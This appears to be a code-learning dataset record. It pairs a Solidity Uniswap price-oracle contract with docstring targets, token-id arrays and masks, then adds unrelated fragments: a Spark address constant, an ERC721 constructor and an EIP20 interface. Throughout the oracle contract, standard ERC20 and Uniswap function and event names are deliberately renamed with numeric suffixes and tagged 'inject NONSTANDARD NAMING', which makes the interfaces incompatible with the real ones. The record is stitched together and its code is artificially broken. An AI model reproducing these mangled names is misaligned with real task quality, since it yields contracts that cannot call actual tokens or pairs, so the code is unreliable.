function TRANSFER827(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function ALLOWANCE661(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING
function APPROVE898(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM273(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
event TRANSFER185(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
event APPROVAL8(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING
}
abstract contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function NAME190() public view returns (string memory) { //inject NONSTANDARD NAMING
return _name;
}
function SYMBOL403() public view returns (string memory) { //inject NONSTANDARD NAMING
return _symbol;
}
function DECIMALS571() public view returns (uint8) { //inject NONSTANDARD NAMING
return _decimals;
}
}
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint _x;
}
uint8 private constant resolution887 = 112; //inject NONSTANDARD NAMING
// encode a uint112 as a UQ112x112
function ENCODE375(uint112 x) internal pure returns (uq112x112 memory) { //inject NONSTANDARD NAMING
return uq112x112(uint224(x) << resolution887);
}
// encodes a uint144 as a UQ144x112
function ENCODE144305(uint144 x) internal pure returns (uq144x112 memory) { //inject NONSTANDARD NAMING
return uq144x112(uint256(x) << resolution887);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function DIV530(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) { //inject NONSTANDARD NAMING
require(x != 0, 'FixedPoint: DIV_BY_ZERO');
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function MUL252(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) { //inject NONSTANDARD NAMING
uint z;
require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function FRACTION125(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) { //inject NONSTANDARD NAMING
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << resolution887) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function DECODE122(uq112x112 memory self) internal pure returns (uint112) { //inject NONSTANDARD NAMING
return uint112(self._x >> resolution887);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function DECODE144956(uq144x112 memory self) internal pure returns (uint144) { //inject NONSTANDARD NAMING
return uint144(self._x >> resolution887);
}
}
interface IUniswapV2Pair {
event APPROVAL8(address indexed owner, address indexed spender, uint value); //inject NONSTANDARD NAMING
event TRANSFER185(address indexed from, address indexed to, uint value); //inject NONSTANDARD NAMING
function NAME190() external pure returns (string memory); //inject NONSTANDARD NAMING
function SYMBOL403() external pure returns (string memory); //inject NONSTANDARD NAMING
function DECIMALS571() external pure returns (uint8); //inject NONSTANDARD NAMING
function TOTALSUPPLY861() external view returns (uint); //inject NONSTANDARD NAMING
function BALANCEOF276(address owner) external view returns (uint); //inject NONSTANDARD NAMING
function ALLOWANCE661(address owner, address spender) external view returns (uint); //inject NONSTANDARD NAMING
function APPROVE898(address spender, uint value) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFER827(address to, uint value) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM273(address from, address to, uint value) external returns (bool); //inject NONSTANDARD NAMING
function DOMAIN_SEPARATOR374() external view returns (bytes32); //inject NONSTANDARD NAMING
function PERMIT_TYPEHASH748() external pure returns (bytes32); //inject NONSTANDARD NAMING
function NONCES344(address owner) external view returns (uint); //inject NONSTANDARD NAMING
function PERMIT537(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; //inject NONSTANDARD NAMING
event MINT421(address indexed sender, uint amount0, uint amount1); //inject NONSTANDARD NAMING
event BURN632(address indexed sender, uint amount0, uint amount1, address indexed to); //inject NONSTANDARD NAMING
event SWAP642( //inject NONSTANDARD NAMING
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event SYNC872(uint112 reserve0, uint112 reserve1); //inject NONSTANDARD NAMING
function MINIMUM_LIQUIDITY496() external pure returns (uint); //inject NONSTANDARD NAMING
function FACTORY810() external view returns (address); //inject NONSTANDARD NAMING
function TOKEN0628() external view returns (address); //inject NONSTANDARD NAMING
function TOKEN1909() external view returns (address); //inject NONSTANDARD NAMING
function GETRESERVES186() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); //inject NONSTANDARD NAMING
function PRICE0CUMULATIVELAST525() external view returns (uint); //inject NONSTANDARD NAMING
function PRICE1CUMULATIVELAST405() external view returns (uint); //inject NONSTANDARD NAMING
function KLAST975() external view returns (uint); //inject NONSTANDARD NAMING
function MINT537(address to) external returns (uint liquidity); //inject NONSTANDARD NAMING
function BURN439(address to) external returns (uint amount0, uint amount1); //inject NONSTANDARD NAMING
function SWAP853(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; //inject NONSTANDARD NAMING
function SKIM750(address to) external; //inject NONSTANDARD NAMING
function SYNC911() external; //inject NONSTANDARD NAMING
function INITIALIZE196(address, address) external; //inject NONSTANDARD NAMING
}
// library with helper methods for oracles that are concerned with computing average prices
library UniswapV2OracleLibrary {
using FixedPoint for *;
// helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1]
function CURRENTBLOCKTIMESTAMP220() internal view returns (uint32) { //inject NONSTANDARD NAMING
return uint32(block.timestamp % 2 ** 32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function CURRENTCUMULATIVEPRICES765( //inject NONSTANDARD NAMING
address pair
) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) {
blockTimestamp = CURRENTBLOCKTIMESTAMP220();
price0Cumulative = IUniswapV2Pair(pair).PRICE0CUMULATIVELAST525();
price1Cumulative = IUniswapV2Pair(pair).PRICE1CUMULATIVELAST405();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).GETRESERVES186();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint(FixedPoint.FRACTION125(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint(FixedPoint.FRACTION125(reserve0, reserve1)._x) * timeElapsed;
}
}
}
//
library SafeMath {
function ADD549(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function SUB879(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return SUB879(a, b, "SafeMath: subtraction overflow");
}
function SUB879(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function MUL252(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function DIV530(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return DIV530(a, b, "SafeMath: division by zero");
}
function DIV530(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function MOD417(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return MOD417(a, b, "SafeMath: modulo by zero");
}
function MOD417(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b != 0, errorMessage);
return a % b;
}
}
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function SORTTOKENS809(address tokenA, address tokenB) internal pure returns (address token0, address token1) { //inject NONSTANDARD NAMING
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function PAIRFOR391(address factory, address tokenA, address tokenB) internal pure returns (address pair) { //inject NONSTANDARD NAMING
(address token0, address token1) = SORTTOKENS809(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
// fetches and sorts the reserves for a pair
function GETRESERVES186(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { //inject NONSTANDARD NAMING
(address token0,) = SORTTOKENS809(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(PAIRFOR391(factory, tokenA, tokenB)).GETRESERVES186();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function QUOTE986(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { //inject NONSTANDARD NAMING
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.MUL252(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function GETAMOUNTOUT221(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { //inject NONSTANDARD NAMING
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.MUL252(997);
uint numerator = amountInWithFee.MUL252(reserveOut);
uint denominator = reserveIn.MUL252(1000).ADD549(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function GETAMOUNTIN900(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { //inject NONSTANDARD NAMING
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.MUL252(amountOut).MUL252(1000);
uint denominator = reserveOut.SUB879(amountOut).MUL252(997);
amountIn = (numerator / denominator).ADD549(1);
}
// performs chained getAmountOut calculations on any number of pairs
function GETAMOUNTSOUT486(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { //inject NONSTANDARD NAMING
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = GETRESERVES186(factory, path[i], path[i + 1]);
amounts[i + 1] = GETAMOUNTOUT221(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function GETAMOUNTSIN740(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { //inject NONSTANDARD NAMING
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = GETRESERVES186(factory, path[i - 1], path[i]);
amounts[i - 1] = GETAMOUNTIN900(amounts[i], reserveIn, reserveOut);
}
}
}
contract PriceProviderUniswap is PriceProvider {
using FixedPoint for *;
using SafeMath for uint;
IUniswapV2Pair public immutable pair;
address immutable weth;
address public immutable stableToken;
uint priceCumulativeLast;
uint price1CumulativeLast;
uint32 blockTimestampLast;
bool wethIsToken0;
FixedPoint.uq112x112 priceAverage;
constructor(address _manager, address _factory, address _weth, address _stableToken) public PriceProvider("Uniswap", _manager, true) {
IUniswapV2Pair _pair = IUniswapV2Pair(UniswapV2Library.PAIRFOR391(_factory, _weth, _stableToken));
pair = _pair;
weth = _weth;
if (_weth == _pair.TOKEN0628()) {
wethIsToken0 = true;
} else {
wethIsToken0 = false;
}
stableToken = _stableToken;
if (wethIsToken0 == true) {
priceCumulativeLast = _pair.PRICE0CUMULATIVELAST525();
} else {
priceCumulativeLast = _pair.PRICE1CUMULATIVELAST405();
}
(,,blockTimestampLast) = _pair.GETRESERVES186();
}
function UPDATE754() external { //inject NONSTANDARD NAMING
require(msg.sender == manager, "manager!");
(uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) =
UniswapV2OracleLibrary.CURRENTCUMULATIVEPRICES765(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
// overflow is desired, casting never truncates
// cumulative price is in (uq112x112 price * seconds) units so we simply wrap it after division by time elapsed
if (wethIsToken0 == true) {
priceAverage = FixedPoint.uq112x112(uint224((price0Cumulative - priceCumulativeLast) / timeElapsed));
priceCumulativeLast = price0Cumulative;
} else {
priceAverage = FixedPoint.uq112x112(uint224((price1Cumulative - priceCumulativeLast) / timeElapsed));
priceCumulativeLast = price1Cumulative;
}
blockTimestampLast = blockTimestamp;
}
function LASTPRICE690() public override view returns (uint32 price) { //inject NONSTANDARD NAMING
uint amountOut = priceAverage.MUL252(1 ether).DECODE144956();
uint8 stableTokenDecimals = ERC20Detailed(stableToken).DECIMALS571();
if (stableTokenDecimals >= decimals686) {
price = uint32(amountOut.DIV530(10 ** uint(stableTokenDecimals - decimals686)));
} else {
price = uint32(amountOut.MUL252(10 ** uint(decimals686 - stableTokenDecimals)));
}
}
}
|
decode a UQ144x112 into a uint144 by truncating after the radix point
|
return uint144(self._x >> resolution887);
| 12,546,450 |
[
1,
3922,
279,
587,
53,
25339,
92,
17666,
1368,
279,
2254,
25339,
635,
6956,
1776,
1839,
326,
19015,
1634,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
327,
2254,
25339,
12,
2890,
6315,
92,
1671,
7861,
5482,
27,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x9E16c8B4C998604471EA0e63ECBb6d6d30F07fA0/sources/DssSpell.sol
|
-- Spark Components --
|
address internal constant SPARK_ACL_MANAGER = 0xdA135Cd78A086025BcdC87B038a1C462032b510C;
| 15,929,223 |
[
1,
413,
21087,
25286,
1493,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
1758,
2713,
5381,
348,
2778,
47,
67,
9486,
67,
19402,
273,
374,
7669,
37,
26612,
19728,
8285,
37,
6840,
4848,
2947,
38,
4315,
39,
11035,
38,
4630,
28,
69,
21,
39,
8749,
3462,
1578,
70,
25,
2163,
39,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/42/0x1d3fa50a8F9413AF9eB7E2df5491Ac67D3dcdAee/sources/USVenture.sol
|
bytes4(keccak256('balanceOf(address)')) == 0x70a08231 bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 bytes4(keccak256('getApproved(uint256)')) == 0x081812fc bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd/ bytes4(keccak256('name()')) == 0x06fdde03 bytes4(keccak256('symbol()')) == 0x95d89b41 bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f/ bytes4(keccak256('totalSupply()')) == 0x18160ddd bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63/* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection./ register the supported interfaces to conform to ERC721 via ERC165
|
constructor (string memory name_, string memory symbol_, uint8 decimals_) public {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
| 9,598,791 |
[
1,
3890,
24,
12,
79,
24410,
581,
5034,
2668,
12296,
951,
12,
2867,
2506,
3719,
422,
374,
92,
7301,
69,
6840,
4366,
21,
377,
1731,
24,
12,
79,
24410,
581,
5034,
2668,
8443,
951,
12,
11890,
5034,
2506,
3719,
422,
374,
92,
4449,
25,
3787,
2499,
73,
377,
1731,
24,
12,
79,
24410,
581,
5034,
2668,
12908,
537,
12,
2867,
16,
11890,
5034,
2506,
3719,
422,
374,
92,
5908,
25,
24852,
27,
70,
23,
377,
1731,
24,
12,
79,
24410,
581,
5034,
2668,
588,
31639,
12,
11890,
5034,
2506,
3719,
422,
374,
92,
6840,
2643,
2138,
7142,
377,
1731,
24,
12,
79,
24410,
581,
5034,
2668,
542,
23461,
1290,
1595,
12,
2867,
16,
6430,
2506,
3719,
422,
374,
6995,
3787,
7358,
8749,
25,
377,
1731,
24,
12,
79,
24410,
581,
5034,
2668,
291,
31639,
1290,
1595,
12,
2867,
16,
2867,
2506,
3719,
422,
374,
6554,
29,
7140,
73,
29,
2
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
[
1,
565,
3885,
261,
1080,
3778,
508,
67,
16,
533,
3778,
3273,
67,
16,
2254,
28,
15105,
67,
13,
1071,
288,
203,
3639,
389,
529,
273,
508,
67,
31,
203,
3639,
389,
7175,
273,
3273,
67,
31,
203,
3639,
389,
31734,
273,
15105,
67,
31,
203,
203,
3639,
389,
4861,
1358,
24899,
18865,
67,
734,
67,
654,
39,
27,
5340,
1769,
203,
3639,
389,
4861,
1358,
24899,
18865,
67,
734,
67,
654,
39,
27,
5340,
67,
22746,
1769,
203,
3639,
389,
4861,
1358,
24899,
18865,
67,
734,
67,
654,
39,
27,
5340,
67,
16509,
654,
2782,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// Abstract contract for the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
pragma solidity ^0.4.24;
contract EIP20Interface {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) public view returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
// solhint-disable-next-line no-simple-event-func-name
